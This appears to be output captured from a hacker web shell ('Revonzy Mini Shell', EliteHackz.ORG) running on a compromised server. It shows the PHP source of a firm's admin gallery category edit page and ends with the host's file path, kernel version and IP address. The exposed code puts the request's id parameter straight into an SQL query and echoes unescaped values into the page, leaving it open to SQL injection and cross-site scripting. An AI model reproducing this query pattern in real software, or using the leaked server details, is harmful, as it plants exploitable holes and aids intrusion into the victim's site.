Revonzy Mini Shell

Şuanki Dizin: /home/shrishtiarchitec/public_html/adminpanel/gallery/category/
Dosya Yükle :
Şuanki Dosya : /home/shrishtiarchitec/public_html/adminpanel/gallery/category/edit.php

<?php 
include('../../../config.php');
require_once(PATH_LIBRARIES.'/classes/DBConn.php');
require_once(PATH_ADMIN_INCLUDE.'/header.php');
$db = new DBConn();

$getCategory=$db->ExecuteQuery("SELECT Category_Id, Category_Name, Category_Image, Long_Image, Position FROM category WHERE Category_Id='".$_REQUEST['id']."'");
?>
<script type="text/javascript" src="category.js"></script>
<div id="loading"></div>
<div class="">
  <div class="page-title">
    <div class="title_left">
      <h3> Category </h3>
    </div>
  </div>
  <div class="clearfix"></div>
  <div class="row">
    <div class="col-md-12 col-sm-12 col-xs-12">
      <div class="x_panel">
        <div class="x_title">
          <h2>Edit Form </h2>
          <ul class="nav navbar-right panel_toolbox">
           <li><button class="btn btn-round btn-success" onclick="window.history.back();">Back</button>
                          </li>
          </ul>
          <div class="clearfix"></div>
        </div>
        <div class="x_content">
          <form class="form-horizontal form-label-left" action="" method="post" id="categoryform">
          	<input type="hidden" id="id" value="<?php echo $_REQUEST['id']?>">
            <div class="col-sm-12">
           <!---Write here English Content Here-->
            <div class="col-sm-6">
            
              <div class="item form-group">
                <label class="control-label col-md-3 col-sm-3 col-xs-12" for="name">Category <span class="required">*</span> </label>
                <div class="col-md-6 col-sm-6 col-xs-12">
                  <input type="text" id="name" class="form-control col-md-7 col-xs-12" name="name" placeholder="Architecture" required type="text" value="<?php echo $getCategory[1]['Category_Name']?>">
                </div>
              </div>

              <div class="text-center profileImg">
                <?php if($getCategory[1]['Category_Image']==""){ ?>
                  <img src="<?php echo PATH_IMAGE ?>/user.png" alt="Profile Image">
                <?php }else{ ?>
                  <img src="<?php echo PATH_UPLOAD_IMAGE."/category/thumb/".$getCategory[1]['Category_Image'];?>" alt="Category Image">
                <?php } ?>
                  <input type="hidden" id="imageupload" name="imageupload" value="<?php echo $getCategory[1]['Category_Image']; ?>" />
              </div>
              <div class="item form-group">
                <label class="control-label col-md-3 col-sm-3 col-xs-12" for="fileupload">Image Upload</label>
                <div class="col-md-6 col-sm-6 col-xs-12">
                  <input type="file" id="fileupload" name="fileupload" class="form-control col-md-7 col-xs-12 " accept="image/jpg,image/png,image/jpeg,image/gif" />
                  <span id="errmsg"></span>
                </div>
              </div>

              <div class="text-center profileImg">
                <?php if($getCategory[1]['Long_Image']==""){ ?>
                  <img src="<?php echo PATH_IMAGE ?>/user.png" alt="Profile Image">
                <?php }else{ ?>
                  <img src="<?php echo PATH_UPLOAD_IMAGE."/category/long/thumb/".$getCategory[1]['Long_Image'];?>" alt="Category Long Image">
                <?php } ?>
                  <input type="hidden" id="imageupload2" name="imageupload2" value="<?php echo $getCategory[1]['Long_Image']; ?>" />
              </div>
              <div class="item form-group">
                <label class="control-label col-md-3 col-sm-3 col-xs-12" for="fileupload2">Long Image Upload</label>
                <div class="col-md-6 col-sm-6 col-xs-12">
                  <input type="file" id="fileupload2" name="fileupload2" class="form-control col-md-7 col-xs-12 " accept="image/jpg,image/png,image/jpeg,image/gif" />
                  <span id="errmsg"></span>
                </div>
              </div>

              <div class="item form-group">
                <label class="control-label col-md-3 col-sm-3 col-xs-12" for="position">Position <span class="required">*</span> </label>
                <div class="col-md-6 col-sm-6 col-xs-12">
                  <input type="text" id="position" name="position" required="required" class="form-control col-md-7 col-xs-12 number"  value="<?php echo $getCategory[1]['Position']?>">
                </div>
              </div>
            </div>
            <!---Close Here English -->
            <!---Write here Hindi Content Here-->
            <div class="col-sm-6">
            	<!--<div class="item form-group">
            		<center><strong >Hindi Section</strong></center>
                </div>
            	<div class="item form-group">
                <label class="control-label col-md-3 col-sm-3 col-xs-12" for="hname">Category <span class="required">*</span> </label>
                <div class="col-md-6 col-sm-6 col-xs-12">
                  <input type="text" id="hname" class="form-control col-md-7 col-xs-12" name="hname" placeholder=" वास्तु-कला"  type="text"  value="<?php echo $getCategory[1]['HCategory_Name']?>">
                </div>
              </div>
              <div class="item form-group">
                <label class="control-label col-md-3 col-sm-3 col-xs-12" for="position">Position <span class="required">*</span> </label>
                <div class="col-md-6 col-sm-6 col-xs-12">
                  <input type="text" id="position" name="position" required="required" class="form-control col-md-7 col-xs-12 number" placeholder="1">
                </div>
              </div>-->
            </div>
             <!---Close Here Hindi -->
             <div class="clearfix"></div>
          </div>
          <div class="clearfix"></div>
            <div class="ln_solid"></div>
            <div class="form-group">
              <div class="col-md-6 col-md-offset-3"> 
                <!-- <button type="submit" class="btn btn-primary">Cancel</button>-->
                <button id="update" type="button" class="btn btn-success">Update</button>
              </div>
            </div>
          </form>
            </div>
         <div id="dialog" title="Message" style="display:none; text-align:left;">
          	<p>Successfully Update Category</p>
    	</div>
        </div>
      </div>
    </div>
  </div>
</div>
<?php 
require_once(PATH_ADMIN_INCLUDE.'/footer.php');

?>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux vps.suncrosonline.com 3.10.0-862.3.2.el7.x86_64 #1 SMP Mon May 21 23:36:36 UTC 2018 x86_64
Apache
162.241.69.42